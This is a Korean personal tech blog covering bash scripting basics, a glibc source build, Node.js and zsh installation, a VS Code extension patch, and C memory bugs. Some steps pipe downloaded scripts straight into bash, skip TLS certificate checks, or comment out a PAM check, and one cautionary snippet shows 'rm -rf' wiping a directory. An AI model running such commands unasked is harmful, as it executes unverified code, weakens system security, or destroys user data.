주의 : 실수 연산은 지원하지 않는다. (오직 정수 연산만 가능)

1 expr 1 + 1

변수에 값을 더하고 싶어요

(( ))을 사용한다.
주의 : 실수 연산은 지원하지 않는다. (오직 정수 연산만 가능)

var=0 ((var++)) # var = 1 ((var+=2)) # var = 3 

응용하면 다음과 같이 사용할 수 있다.
test.log의 마지막줄 - 1 번째 라인을 출력하고 싶을 때

sed -n "$(expr $(wc -l test.log | awk '{print $1}') - 1)p" test.log 

변수 사용 시 주의사항!

변수에 빈 값이 들어가거나 명령어 결과값이 존재하지 않는 경우에도 배쉬 스크립트는 그대로 동작한다.
따라서 변수의 내용을 검증하지 않고 사용 시 대참사가 발생할 수도 있다.

아래와 같은 코드에서 test.py 파일이 존재하지 않는다면 rm -rf ./ 로 실행되어 현재 디렉토리가 삭제될 위험이 존재한다.

var1=`test -f ./test.py && echo "test.py" rm -rf ./$var1 

IF문을 사용하고 싶어요

if 조건절 구문은 [ ] [[ ]] 둘 중 하나를 사용할 수 있다.
[ ] : POSIX 표준
[[ ]] : bash 표준

다음과 같은 형식으로 사용할 수 있다.

if [ 조건 ]; then # 대괄호는 [ ] 또는 [[ ]] 사용이 가능하다. 조건이 참일 때 실행할 명령어 elif [ 조건 ]; then 조건이 참일 때 실행할 명령어 else 조건이 거짓일 때 실행할 명령어 fi 

# if () { # } 표기법 if [ 조건 ]; then # code fi # if () # { # } 표기법 if [ 조건 ] then # code fi 

연산자	의미	비고
-eq	== (EQual)
-ne	!= (NEgative)
-gt	> (Greater Than)
-lt	< (Less Than)
-ge	>= (Greater than Equal)
-le	<= (Less than Equal)
==	==	zsh 호환 X
!=	!=
-e	파일/디렉토리 존재 여부	해당 내용이 파일인지 디렉토리인지 구분하지 않음
-f	파일 존재 여부
-d	디렉토리 존재 여부
-r	읽기 가능한 파일 여부
-w	쓰기 가능한 파일 여부
-x	실행 가능한 파일 여부
-z	문자열 길이가 0이면 참
-n	문자열 길이가 0보다 크면 참
-v	변수가 선언되어 있으면 참

문자열 포함 여부를 확인하고 싶어요

if [[ "$A" =~ "$B" ]] 를 사용한다. $B가 $A에 포함되어 있으면 참이다.

if [[ "apple is sweet" =~ "sw" ]]; then # true fi 

if grep -q "$A" <<< "$B" 를 사용한다. 1번과 반대로 $A가 $B에 포함되어 있으면 참이다.

if grep -q "ee" <<<"apple is sweet"; then # true fi 

함수 (function), 알리아스 (alias)가 정의되어 있는지 확인하고 싶어요

alias 정의 여부 확인

if (alias testalias > /dev/null 2>&1); then unalias fzf fi 

함수 정의 여부 확인

if (declare -f -F "testfunc" > /dev/null); then unset -f fzf fi 

반복문

for 문

foreach 형식

for i in 1 2 3 4 5; do echo $i done # 1 ~ 5 출력 for i in {1..5}; do echo $i done # 1 ~ 5 출력 for i in {0..10..2}; do echo $i done # 0 2 4 6 8 10 출력 for i in {5..0..1}; do echo $i done # 5 4 3 2 1 0 출력 for i in $(seq 0 1 9); do echo $i done # 0 ~ 9 출력 arr=("str1" "str2" "str3" "str4" "str5") for i in "${arr[@]}"; do echo $i done # str1 str2 str3 str4 str5 출력 

for 형식

for (( i=0; i<10; i++ )); do echo $i done # 0 ~ 9 출력 

while 문

var=0 while [ $var -lt 3 ]; do echo "test" ((var++)) done # test 3번 출력 

무한 while 루프를 사용하고 싶어요

while [ : ] 를 사용한다.

while [ : ]; do echo "test" done # test가 무한으로 출력된다. 

반복문을 빠져나오고 싶어요

break 를 사용한다.

무한루프 이지만 var가 3이 되면 if문을 타고 break가 걸려 반복문을 빠져나온다.

var=0 while [ : ]; do if [ $var -ge 3 ]; then break fi echo "test" ((var++)) done # test 3번 출력 

배열/리스트

() 를 사용한다.

선언

(값1 값2 값3 값4 값5 ...)

요소는 공백으로 구분한다.

var1=(1 2 3 4 5) echo ${var1[@]} # 1 2 3 4 5 

배열의 전체 요소를 출력하고 싶어요

${varname[@]} 를 이용한다.

var1=(1 2 3 4 5) echo ${var1[@]} 

특정 요소를 출력하고 싶어요

${varname[index]} 를 이용한다.
일반적으로 변수 출력하듯이 사용하면 첫 번째 인덱스의 값만 리턴된다.

var1=(1 2 3 4 5) echo ${var1[1]} # 2 echo ${var1} # 1 

번외 : bash와 zsh는 인덱싱하는 위치가 다르다.
bash는 0부터 시작하지만 zsh는 1부터 시작한다. (zsh에서 setopt ksharrays 옵션을 사용하면 0부터 시작한다.)
이 때 bash와 zsh 모두 호환성을 유지하고싶다면 아래와 같이 사용하면 된다.

testarr=( "asdf" "qwer qwer" "zxcv zxcv zxcv" "1234 1234 1234 1234" ) # 마지막 요소 출력 echo "${testarr[@]:${#testarr[@]}-1:1}" # 1234 1234 1234 1234 # 첫(0) 번째 요소 출력 echo "${testarr[@]:0:1}" # asdf # 두(1) 번째 요소 출력 echo "${testarr[@]:1:1}" # qwer qwer 

배열의 특정 요소부터 특정 요소까지 출력하고 싶어요

문자열의 특정 요소를 출력하는 것과 동일하게 사용하면 된다.

testarr=( "asdf" "qwer qwer" "zxcv zxcv zxcv" "1234 1234 1234 1234" ) # 첫(0) 번째 요소를 제외한 나머지 요소 출력 echo "${testarr[@]:1:${#testarr[@]}}" # 마지막 요소를 제외한 나머지 요소 출력 echo "${testarr[@]:0:${#testarr[@]}-1}" 

배열의 길이 (size) 를 확인하고 싶어요

${#varname[@]} 를 이용한다.

var1=(1 2 3 4 5) echo ${#var1[@]} # 5 

배열에 요소를 추가하고 싶어요

+= 을 사용한다. 추가 시 ( ) 로 묶어주지 않으면 첫 번째 인덱스의 값에 추가됨을 유의하자.

var1=(1 2 3 4 5) var1+=(6) echo ${var1[@]} # 1 2 3 4 5 6 # ERR var1+=1 echo ${var1[@]} # 11 2 3 4 5 6 

배열에 요소를 제거하고 싶어요

/ 를 사용한다.

var1=(1 2 3 4 5) var1=(${var1[@]/2}) echo ${var1[@]} # 1 3 4 5 

unset을 사용한다.

var1=(1 2 3 4 5) unset var1[1] echo ${var1[@]} # 1 3 4 5 

주의사항
/는 요소를 제거하는 것이 아닌 리스트 내 매칭되는 string을 제거하는 것에 유념하자.
아래 예시를 보면 var[2]는 32 이지만 2 제거 후 3이 출력되는 것을 볼 수 있다.

var1=(1 2 32 4 5) var1=(${var1[@]/2}) echo ${var1[@]} # 1 3 4 5 

배열을 순회하고 싶어요

for를 사용한다. foreach 형식으로 순회하여도 되고 for로 인덱스를 직접접근 할 수도 있다.

var1=(1 2 3) for i in ${var1[@]}; do echo $i done # 1 # 2 # 3 for (( i=0; i<${#var1[@]}; i++ )); do echo ${var1[$i]} done # 1 # 2 # 3 

문자열을 리스트로 나누고 싶어요

’ ‘ 공백을 기준으로 문자열을 리스트로 나누고 싶을 때

그냥 변수를 ( ) 로 감싸주면 끝

var1="qwer asdf zxcv" var2=($var1) 

‘\n’ 개행 등 기타 구분자를 기준으로 문자열을 리스트로 나누고 싶을 때

IFS 를 구분자로 지정하여 ( ) 로 감싸주면 끝

var1="qwer asdf zxcv" SAVEIFS=$IFS # 기존 IFS 저장 IFS=$'\n' # IFS 재설정 var2=($var1) # 리스트로 변환 IFS=$SAVEIFS # IFS 복원 

함수

function 함수명() { } 또는 함수명() { } 로 함수를 정의한다.

function func1() { echo "func1" } func2() { echo "func2" } 

정의한 함수를 사용하고 싶어요

함수명으로 사용하면 된다.

func() { echo "func" } func 

argument까지 같이 전달하고 싶을 때에는 함수명 뒤에 argument를 같이 입력해주면 된다.
argument는 공백으로 구분된다.
따라서 공백을 포함하여 argument로 전달하고 싶을 때에는 ' ' 작은따옴표나 " " 큰따옴표로 감싸주면 된다.

func() { # ... code ... } func "qwer" "asdf zxcv" 

함수에 로컬 변수를 사용하고 싶어요

아래 예제 코드와 같이 함수 내부에서 변수를 생성하더라도 함수 밖에서 변수를 사용할 수 있다.

func() { var1="test" echo "var1 : ${var1}" } func echo "var : ${var1}" # output # var1 : test # var : test 

이를 방지하기 위해서 local 키워드를 사용한다.

func() { local var1="test" echo "var1 : ${var1}" } func echo "var : ${var1}" # output # var1 : test # var : 

함수의 argument를 사용하고 싶어요

$1, $2, … $n 으로 사용할 수 있다.

func() { echo "first arg: ${1}" echo "second arg: ${2}" } func "qwer" "asdf zxcv" # output # first arg: qwer # second arg: asdf zxcv 

함수에 전달된 argument의 갯수를 알고 싶어요

$# 으로 사용할 수 있다.

func() { echo "argument count: ${#}" } func "qwer" "asdf zxcv" "1234" # output # argument count: 3 

함수에 전달된 argument를 전부 출력하고 싶어요

$@ 으로 사용할 수 있다.

func() { echo "argument: ${@}" } func "1234" "qwer" "asdf zxcv" # output # argument: 1234 qwer asdf zxcv 

함수에 전달된 argument를 일부 출력하고 싶어요

${@:<시작 index>: <갯수>} 로 사용할 수 있다.
<시작 index> 는 1부터 시작한다.
<갯수> 는 생략할 수 있다. 생략하면 시작 index부터 끝까지 출력한다.

func() { echo "$1" echo "${@}" echo "${@:2:3}" } func aa "sss sss" bbb ccc ddd # output # aa # aa sss sss bbb ccc ddd # sss sss bbb ccc 

선언한 함수를 삭제하고 싶어요

unset 으로 삭제할 수 있다.

func() { echo "func" } func unset func 

함수를 도중에 종료하고 싶어요

return 으로 종료할 수 있다.
return을 사용한다고 해서 함수의 값을 반환할 수 있는 것은 아니다.
return 후 0~255 사이의 값을 전달하여 함수의 종료코드를 전달할 수 있다.

func() { if [ $# -eq 0 ]; then echo "argument is empty" return 1 fi } func echo $? # 1 

함수의 값을 반환하고 싶어요

방법이 없다..
편법을 쓰자면 echo 를 이용하여 값을 반환하는 척 할 수는 있다.

func() { if [[ "$@" = "qwer" ]]; then echo "qwerty" return fi echo "test" } var1=$(func "qwer") echo "$var1" # qwerty 

번외 sed 사용법

sed 를 제대로 사용할 수 있으면 정말 유용하다.

특정 라인 출력

file.txt의 3번째 라인을 출력

sed -n '3p' file.txt 

file.txt의 1~3 라인을 출력

sed -n '1,3p' file.txt 

파일이 아닌 cat, echo 내용도 출력할 수 있다.

echo "${content}" | sed -n "3p" cat file.txt | sed -n "1,3p" 

특정 라인을 삭제

file.txt의 3번째 라인을 삭제

sed -i '3d' file.txt 

file.txt의 1~3 라인을 삭제

sed -i '1,3d' file.txt 

특정 라인을 변경

사용방법

# <라인>의 <찾을문자열>을 <바꿀문자열>로 변경 sed -i "<라인>s/찾을문자열/바꿀문자열/" <파일명> # <라인1>~<라인2>의 <찾을문자열>을 <바꿀문자열>로 변경 sed -i "<라인1>,<라인2>s/찾을문자열/바꿀문자열/" <파일명> 

3번째 라인 전체를 asdf asdf로 변경

sed -i "3s/.*/asdf asdf/" file.txt 

2~3번째 라인 전체를 asdf adsf로 변경

sed -i "2,3s/.*/asdf asdf/" file.txt 

2번째 라인의 asdf를 hjkl로 변경

sed -i "2s/asdf/hjkl/" file.txt 

특정 단어를 치환

사용방법

sed -i "s/바꿀대상/바꿀문자열/옵션" <변경 파일> # 옵션 # g - 모든 대상을 변경 (global) # i - 대소문자를 구분하지 않음 (ignore case) # 첫 번째 대상만 변경 sed -i "s/바꿀대상/바꿀문자열/" <변경 파일> # 매칭되는 모든 대상 변경 (global 옵션) sed -i "s/바꿀대상/바꿀문자열/g" <변경 파일> # 대소문자를 구분하지 않고 매칭되는 모든 대상을 변경 (global ignore case 옵션) sed -i "s/바꿀대상/바꿀문자열/gi" <변경 파일> 

file.txt의 qwerty를 asdf로 치환

sed -i "s/qwerty/asdf/" file.txt 

file.txt의 zz를 oo로 치환

sed -i "s/zz/oo/g" file.txt 

변수를 치환할 수도 있다.

var1="apple apple is sweet" echo "$var1" | sed -e "s/apple/orange/" # orange apple is sweet echo "$var1" | sed -e "s/apple/orange/g" # orange orange is sweet 

바꿀 대상에 정규식을 사용할 수도 있다.

file.txt의 숫자를 모두 삭제

sed -i "s/[0-9]//g" file.txt 

대소문자 구분하지 않고 asdf 를 oooo로 모두치환

sed -i "s/asdf/oooo/gi" file.txt 

구분자는 ‘/’가 아닌 다른 기호가 될 수도 있다.

1번째 라인의 #!/bin/bash 를 #!/usr/bin/python3로 변경

sed -i "1s@#\!/bin/bash@#\!/usr/bin/python3@" file.txt 

file.txt의 /etc/crontab을 /etc/cron.d/test로 변경

sed -i "s#/etc/crontab#/etc/cron.d/test#g" file.txt 

sed로 삭제

사용방법

sed -i "/찾을문자열/d" <변경 파일> 

file.txt의 숫자가 존재하는 라인을 모두 삭제

sed -i "/[0-9]/d" file.txt 

특정 조건 위/아래에 내용을 추가

사용방법

# a\ - 아래에 내용 추가 # i\ - 위에 내용 추가 # 특정 라인 밑에 내용을 추가 sed -i '<라인>a\<추가할 내용>' <변경 파일> # 특정 라인 위에 내용을 추가 sed -i '<라인>i\<추가할 내용>' <변경 파일> # 특정 단어 밑에 내용을 추가 sed -i -e '/<조건>/a\<추가할 내용>' <변경 파일> 

* 3번째 라인 뒤에 asdf asdf를 추가 ```bash sed -i "3a\asdf asdf" file.txt 

asdf가 포함되는 라인 밑에 uiop 문자열 추가

sed -i -e "/asdf/a\uiop" file.txt 

번외 awk 사용법

bash 스크립트는 사실 sed와 awk만 잘 사용하면 거의 대부분의 작업을 할 수 있다고 생각한다.

사용방법

# 구분자 없을 시 ' ' (공백)으로 구분 awk -F '<구분자>' '{print $<출력할 컬럼>}' <파일> <출력내용> | awk -F '<구분자>' '{print $<출력할 컬럼>}' 

예제

file.txt의 줄 수를 출력

아래 방식대로 해도 되지만

cat file.txt | wc -l 

awk로 잘라도 된다.

wc -l file.txt | awk '{print $1}' # 120 file.txt 내용을 공백으로 구분한 뒤 첫번째 컬럼을 출력하는 것이니 # 120 이 출력된다. 

file.txt의 사이즈 출력

wc -c file.txt | awk '{print $1}' # 90 file.txt 내용을 공백으로 구분한 뒤 첫번째 컬럼 출력 (90) ls -al file.txt | awk '{print $5}' # -rw-r--r-- 1 root root 90 Dec 21 11:20 file.txt # 아래 라인에서 공백으로 구분한 뒤 5번째 컬럼 출력 (90) 

번외 (Python)

python -c 를 이용하여 python 코드를 실행할 수 있다.

var1=$(python3 -c "print(1.3 + 2.7)") 

기타 유용한 예제

리눅스 메뉴얼 문서도 참고하면 좋다.

쉘 스크립트 실행 파일 path 찾기

pwd로 가져오면 쉘 스크립트를 실행했을 때의 경로에 따라 위치가 달라질 수 있어 쉘 스크립트 실행 파일의 경로를 찾아야 할 때가 있다. test.sh 쉘 스크립트가 /etc/에 존재한다고 가정할 때

cd / /etc/test.sh # pwd 시 / 출력 cd /usr /etc/test.sh # pwd 시 /usr 출력 cd /etc ./test.sh # pwd 시 /etc 출력 

쉘 스크립트의 실행하는 위치에 따라 pwd로 가져온 경로가 달라진다. 즉, 아래 예제와 같을 경우 /etc에서 실행하지 않으면 confpath.conf 를 찾을 수 없다.

curpath=`pwd` confpath=$($curpath/confpath.conf) 

따라서 아래 스크립트 를 참고하여 쉘 스크립트가 위치해 있는 경로를 구해 confpath.conf를 찾을 수 있도록 한다.

curpath=$(dirname $(realpath $0)) cd $curpath 

한줄 코딩

cd $(dirname $(realpath $0)) 

confpath=$($curpath/confpath.conf) 

glibc 업데이트

Tue, 06 Feb 2024 00:00:00 +0900

glibc 업데이트 전 주의사항

glibc는 GNU C 라이브러리로, 리눅스 시스템에서 사용되는 C 라이브러리이다.
glibc는 리눅스 시스템의 핵심적인 라이브러리로, 시스템의 대부분의 프로그램들이 glibc를 사용한다. 따라서 glibc의 업데이트는 시스템의 안정성과 보안에 매우 중요하다. \

많은 바이너리들이 libc를 참조하기 때문에 libc를 업데이트하면 시스템 전체에 영향을 미친다. 따라서 libc를 업데이트할 때는 주의가 필요하다.
호환되지 않는 libc 업데이트는 시스템을 망가뜨릴 수 있으므로, libc 업데이트 전에는 백업 후 업데이트를 진행하도록 하자.

Visual Studio Code 버전 1.86.0 부터는 glibc 2.28 이상을 요구한다. Ubuntu 18.04에서는 glibc 2.27을 사용하므로 업데이트가 필요하다.

업데이트 방법

https://ftp.gnu.org/gnu/glibc/
glibc 공식 홈페이지에서 원하는 버전의 glibc 링크를 복사한다.
아래 설명하는 예시는 glibc 2.29 버전을 설치하는 방법이다.

wget 으로 glibc를 다운로드 받은 뒤 압축을 풀고, 압축이 풀린 디렉토리로 이동한다.

wget --no-check-certificate -c -O glibc.tgz https://ftp.gnu.org/gnu/glibc/glibc-2.29.tar.gz tar -zxvf glibc.tgz cd <directory> 

build 디렉토리를 생성하고, configure 명령어를 실행한다.
이 때 prefix 옵션을 사용하여 glibc를 설치할 디렉토리를 지정한다.

mkdir build cd build ../configure --prefix=/path/to/dir make make install 

설치된 glibc를 전역적으로 사용하기 위해 /etc/ld.so.conf 파일에 prefix 경로를 추가하고
ldconfig 명령어를 실행한다.

# /etc/ld.so.conf 파일 열기 vim /etc/ld.so.conf # 라인 추가 /path/to/dir # 저장 후 쉘로 빠져나와 ldconfig 실행 ldconfig 

-END-

iTerm2 에서 lrzsz 사용하기

Mon, 29 Jan 2024 00:00:00 +0900

macos의 메뉴바 색상을 변경해보자.

Mon, 15 Jan 2024 00:00:00 +0900

nodejs 설치

Fri, 08 Dec 2023 00:00:00 +0900

개요

nodejs를 설치할때마다 까먹어서 계속 삽질을 하는것을 방지하고자 기록한다.

방법

기존 setup_<version>.x 로 설치하던 방법이 없어지고 apt, yum 등으로 설치할 수 있다.

https://github.com/nodesource/distributions
자세한 내용은 위 문서를 참고하자.

키 가져오기

sudo apt-get update sudo apt-get install -y ca-certificates curl gnupg sudo mkdir -p /etc/apt/keyrings curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg 

키 설정

# NODE_MAJOR 변수는 원하는 메이저 버전으로 설정하면 된다. # NODE_MAJOR=16 # NODE_MAJOR=18 # NODE_MAJOR=20 # NODE_MAJOR=21 NODE_MAJOR=20 echo "deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_$NODE_MAJOR.x nodistro main" | sudo tee /etc/apt/sources.list.d/nodesource.list unset NODE_MAJOR 

NODEJS 설치

sudo apt-get update sudo apt-get install -y nodejs 

구 방법

nodejs 16버전이면

1 curl -sL https://deb.nodesource.com/setup_16.x | bash -

nodejs 18버전이면 (ubuntu 18 버전에서는 nodejs 버전 18 이상은 설치가 안되는 듯 하다. 종속성 꼬임 등)

1 curl -sL https://deb.nodesource.com/setup_18.x | bash -

이후 업데이트 하고 nodejs를 설치한다.

1 apt-get update && apt-get install yarn

1 apt-get install -y nodejs

- END -

vscode extension 수정하기 (log watcher)

Thu, 30 Nov 2023 00:00:00 +0900

logwatcher 확장 수정

log watcher 라는 확장을 수정해 볼 것이다.

log watcher 확장은 심볼릭 링크로 걸린 log file은 감시하지 않는다. 따라서 간단하게 수정하여 심볼릭 링크로 걸린 log file도 감시할 수 있도록 수정해보자.

성능상의 이유로 FileSystemWatcher 는 심볼릭 링크에 링킹된 파일은 감시하지 않는다고 한다.
따라서 확장을 수정해 심볼릭링크를 문자열에 입력할 시 해당 심볼릭 링크의 실제 파일 자동으로 획득해 추가하도록 수정할 것이다.
https://code.visualstudio.com/api/references/vscode-api#FileSystemWatcher

수정

log watcher 확장 디렉토리로 접근한다. (<vscode 확장 디렉토리>/automattic.logwatcher-1.0.0/out)

`watchfilecommand.js` 파일 내용을 아래와 같이 수정한다.

먼저 node:js 모듈을 추가한다.

const fsnode_1 = require("node:fs"); 

심볼릭 링크의 실제 파일을 가져오는 함수를 추가한다.

async function get_symlink(filename) { const lnkpromise = new Promise((resolve, reject) => { fsnode_1.readlink(filename, (err, linkString) => { if (err) { reject(filename); } else { resolve(linkString); } }); }); let result = filename; await lnkpromise.then(data=> { result = data; }); return result; } 

확장의 실제 동작 함수는 setUpWatcher 함수에서 담당한다.
따라서 setUpWrapper 함수와 argument를 수정하고 createOutputChannel 함수의 argument를 수정한다.

-async function setUpWatcher(filename) { +async function setUpWatcher(realfile, filename) {  const emitter = new node_events_1.EventEmitter(); - const outputChannel = vscode_1.window.createOutputChannel(`Watch ${filename}`, 'log'); + const outputChannel = vscode_1.window.createOutputChannel(`Watch ${realfile}`, 'log');  

doWatchFile 함수를 수정한다.

async function doWatchFile(filename, quiet = false) { + let linkfile = await get_symlink(filename); - let resource = (0, resources_1.getResource)(filename) ?? await setUpWatcher(filename); + let resource = (0, resources_1.getResource)(filename) ?? await setUpWatcher(filename, linkfile);  if (!resource) { return null; } // ... } 

`stopwatchingcommand.js` 파일에 아래 함수를 추가한다.

(해당 내용은 stopWatchingAll - 모든 확장에 대한 감시 중지 기능을 추가하는 내용이다.)

async function stopWatchingAllCommandHandler() { (0, resources_1.freeAllResources)(); } exports.stopWatchingAllCommandHandler = stopWatchingAllCommandHandler; 

`extension.js` 파일에 아래 코드를 추가한다.

registerCommand('logwatcher.stopWatching', ... 부분 뒤쪽에 아래 코드를 삽입한다.

vscode_1.commands.registerCommand('logwatcher.stopWatchingAll', stopwatchingcommand_1.stopWatchingAllCommandHandler), 

`../package.json` 에 아래 코드를 추가한다.

commands 부분의 logwatcher.stopWatching 뒤쪽에 아래 코드를 삽입한다.

 { "command": "logwatcher.stopWatching", "title": "Stop Watching File…", "category": "Log Watcher" + }, + { + "command": "logwatcher.stopWatchingAll", + "title": "Stop Watching File All", + "category": "Log Watcher"  } 

C언어 버그

Mon, 17 Jul 2023 00:00:00 +0900

char *p malloc 진행한 뒤 p에 대입연산자 (=) 로 문자열을 입력.
- memcpy(p, "hello\0world\0", 20); 써줘야 함
strcmp로 문자열을 비교.
- 널문자가 포함된 비교를 진행하기에 for문으로 하나하나 비교하거나 memcmp를 써야 함.
- strncmp 또한 길이를 지정한다 하더라도 중간에 널 문자를 만나면 비교를 멈추기 때문에 사용하면 안됨.

널검사 안한 포인터 사용

#include <string.h>  int get_maxlen(char *str1, char *str2) { if (strlen(str1) > strlen(str2)) return strlen(str1); else return strlen(str2); } 

버그

널검사 없이 strlen 함수를 사용함.
- str1 또는 str2 변수가 null 이면 strlen 함수에서 segmentation fault 발생.
- 포인터를 참조할 때에는 항상 널검사 진행.
- 널검사를 하지않는 위험한 함수임을 주석 또는 doxygen을 통해 사전에 정의. - 외부에서 null 검사가 완료된 검증된 포인터만 사용할 수 있도록 함
버그는 아니지만 속도상의 문제
- strlen 함수가 총 3번 동작함. 2번 동작하게끔 줄일 수 있음

free 후 널 초기화 미진행

#include <stdlib.h>  struct test_t { int a; int b; }; void initialize_test(struct test_t *p) { if (p == NULL) return ; p->a = 0; p->b = 0; } void free_test(struct test_t *p) { if (p == NULL) return ; free(p); } void func() { struct test_t *p = (struct test *)malloc(sizeof(struct test)); initialize_test(p); // code free_test(p); initialize_test(p); } 

버그

free 후 NULL 초기화를 하지 않아 이후 initialize_test 함수의 if (p == NULL) 구문에서 비정상 포인터를 걸러내지 못함.
- #define nullfree(p) if (p) { free(p); p = NULL; } 처럼 매크로를 free를 재정의해서 사용하면 좋음.

댕글링 포인터를 만드는 행위

링크 참조

변수, 구조체, 할당 시 초기화

void func() { // code } int main() { func(); const int ptr1_size = 32000; char *ptr1 = malloc(ptr1_size); memset(ptr1, 0, ptr1_size); memcpy(ptr1, "asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf", 60); printf("ptr1 addr : %x\n", ptr1); printf("ptr1 : %s\n", ptr1); free(ptr1); char *ptr2 = malloc(8192); memcpy(ptr2, "qwerqwer", 8); printf("ptr2 addr : %x\n", ptr2); printf("ptr2 : %s\n", ptr2); free(ptr2); return 0; } 

ptr1, ptr2 변수 동적할당 시 memset 함수 등으로 메모리 초기화를 진행하지 않음.

코드 컴파일 후 실행 결과

ptr1 addr : 81da1920 ptr1 : asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf ptr2 addr : 81da1920 ptr2 : qwerqwerasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf 

ptr2 변수 출력 시 ptr1 초기화하지 못한 ptr1의 뒷 문자가 출력됨.
만약 ptr1에 민감한 정보가 들어있다면 보안상의 문제가 발생할 수 있음.

따라서 알 수 있는 결과 : 변수 선언 시 꼭 초기화를 진행하자.

zsh 설치하기

Tue, 04 Jul 2023 00:00:00 +0900

Ubuntu zsh install

아래 명령어로 zsh를 설치한다.

1 apt-get install zsh

아래 명령어로 현재 쉘 상태를 확인하고

1 echo $SHELL

chsh -s $(which zsh) 명령어를 통해 쉘을 zsh로 바꿔준다.

chsh 명령어 사용 중 chsh:PAM authentication failed 오류가 뜰 시
/etc/pam.d/chsh 에서 auth_required pam_shell.so 부분을 주석처리한 후
chsh 명령어를 재실행한다.

/etc/passwd 에서 변경 진행해도 상관없다.

passwd 에서 쉘을 바꿔줄 경우 맨 마지막 부분의 쉘경로를

/bin/zsh로 변경해주면 된다.

(username):x:(uid):(gid):(comment):(home dir):(shell path) user:x:0:0:user:/home/user:/bin/zsh 

이후 터미널을 재시작한다.

echo $SHELL 명령어 출력결과로 zsh가 나오면 변경이 완료된 것이다.

Oh-My-Zsh 설치

zsh 테마 oh-my-zsh를 설치하여 관리할 수 있도록 한다.

curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh | /bin/bash - 

필자는 $HOME/.zsh/ 에 zsh 관련 설정 파일을 관리하므로 해당 디렉토리로 .oh-my-zsh를 옮긴다.

test ! -d $HOME/.zsh && mkdir $HOME/.zsh mv $HOME/.oh-my-zsh $HOME/.zsh/ 

powerlevel10k 설치

git clone --depth=1 https://github.com/romkatv/powerlevel10k.git $HOME/.zsh/.oh-my-zsh/custom/themes/powerlevel10k 

powerlevel10k저장소에서 클론한다.

클론 시 ~/.oh-my-zsh/custom/themes/powerlevel10k 에 저장시켜 .oh-my-zsh가 powerlevel10k 테마를 인식할 수 있도록 한다.

~/.zshrc 에서 ZSH_THEME 변수를 아래 값과 같이 변경하여 zsh의 테마를 지정해준다.

ZSH_THEME="powerlevel10k/powerlevel10k"

또한 256 컬러를 지원하는 터미널에서만 사용할 수 있기에

~/.zshrc 를 열어 export TERM=xterm-256color 값을 설정해준다.

이후 아이콘을 출력시킬 폰트를 설치해야 한다.

폰트의 경우 p10k에서 MesloLGS NF 를 공식 지원하고 있으니 왠만하면 해당 폰트를 설치할 수 있도록 하자. (아래 링크에서 폰트를 다운받을 수 있다.)

https://github.com/romkatv/powerlevel10k/#user-content-fonts

또는 Nerd-Font라고 아이콘 글꼴, 세로폭 등이 커스텀된 글꼴을 만드는 프로젝트가 존재한다. Nerd-Font 사이트에서 자신이 사용하는 또는 자신에게 가장 취향에 맞는 폰트를 설치하면 된다.

https://github.com/ryanoasis/nerd-fonts

https://www.nerdfonts.com/

필자는 현재 “Fantasque Sans” 폰트가 마음에 들어 Nerd-Font에서 해당 폰트를 다운받아 사용하고 있다. Fantasque Sans 폰트 외에도 Hack, Mononoki, Fira Code 등 기타 유명한 코딩 폰트들이 존재하니 찾아보면 좋을 것이다.

https://github.com/ryanoasis/nerd-fonts/tree/master/src/unpatched-fonts/FantasqueSansMono

https://www.programmingfonts.org/

프로그래밍 폰트를 체험할 수 있는 사이트이다.

이후 터미널을 다시 실행시키거나 p10k configure 명령어를 통해 p10k 테마를 설정한다.

필자의 사용 설정은 다음과 같다.

zsh 및 p10k가 업데이트되면서 해당 설정은 바뀔 수 있다.

one-line 설정

Prompt Style : (3) Rainbow Character Set : (1) Unicode Show current time? : (2) 24-hour format Prompt Separators : (1) Angled Prompt Heads : (1) Sharp Prompt Tails : (1) Flat Prompt Height : (1) One line Prompt Spacing : (1) Compact Icons : (2) Many icons [ (1) Few icons 사용해도 무방 ] Prompt Flow : (1) Concise Enable Transient Prompt? : (n) No Instant Prompt Mode : (1) Verbose (recommended) Apply changes to ~/.zshrc? : (y) Yes (recommended) 

multi-line 설정

Does this look like a diamond (rotated square)? (y) Yes. Does this look like a lock? (y) Yes. Does this look like a Debian logo (swirl/spiral)? (y) Yes. Do all these icons fit between the crosses? (y) Yes. Icons... Prompt Style : (3) Rainbow Character Set : (1) Unicode Show current time? : (2) 24-hour format Prompt Separators : (1) Angled Prompt Heads : (1) Sharp Prompt Tails : (1) Flat Prompt Height : (2) Two lines Prompt Connection : (3) Solid (아무거나 상관 없음.) Prompt Frame : (1) No frame Connection Color : (1) Lightest. (4) Darkest (아무거나 상관 없음) Prompt Spacing : (1) Compact Icons : (2) Many icons [ (1) Few icons 사용해도 무방 ] Prompt Flow : (1) Concise Enable Transient Prompt? : (y) Yes Enable Transient Prompt? : (n) No Instant Prompt Mode : (1) Verbose (recommended) Apply changes to ~/.zshrc? : (y) Yes (recommended) Apply changes to ~/.zshrc? : (n) No 

p10k 테마 커스텀하기

이후 디폴트 테마 설정이 마음에 들지 않아 ~/.p10k.zsh 파일을 추가로 수정하였다.

POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS 변수의 # load 주석 제거 디렉토리를 보여주는 설정을 해당 설정값으로 세팅 typeset -g POWERLEVEL9K_SHORTEN_DIR_LENGTH=0 typeset -g POWERLEVEL9K_SHORTEN_DELIMITER="" typeset -g POWERLEVEL9K_SHORTEN_STRATEGY="truncate_absolute_chars" 디렉토리 배경색, 폰트 색, 스타일 지정 typeset -g POWERLEVEL9K_DIR_BACKGROUND=27 typeset -g POWERLEVEL9K_DIR_FOREGROUND=0 typeset -g POWERLEVEL9K_DIR_SHORTENED_FOREGROUND=232 typeset -g POWERLEVEL9K_DIR_ANCHOR_FOREGROUND=232 typeset -g POWERLEVEL9K_DIR_ANCHOR_BOLD=true 깃 관련 배경색, 폰트 색, 스타일 지정 typeset -g POWERLEVEL9K_VCS_CLEAN_BACKGROUND=35 typeset -g POWERLEVEL9K_VCS_MODIFIED_BACKGROUND=84 typeset -g POWERLEVEL9K_VCS_UNTRACKED_BACKGROUND=28 typeset -g POWERLEVEL9K_VCS_CONFLICTED_BACKGROUND=9 typeset 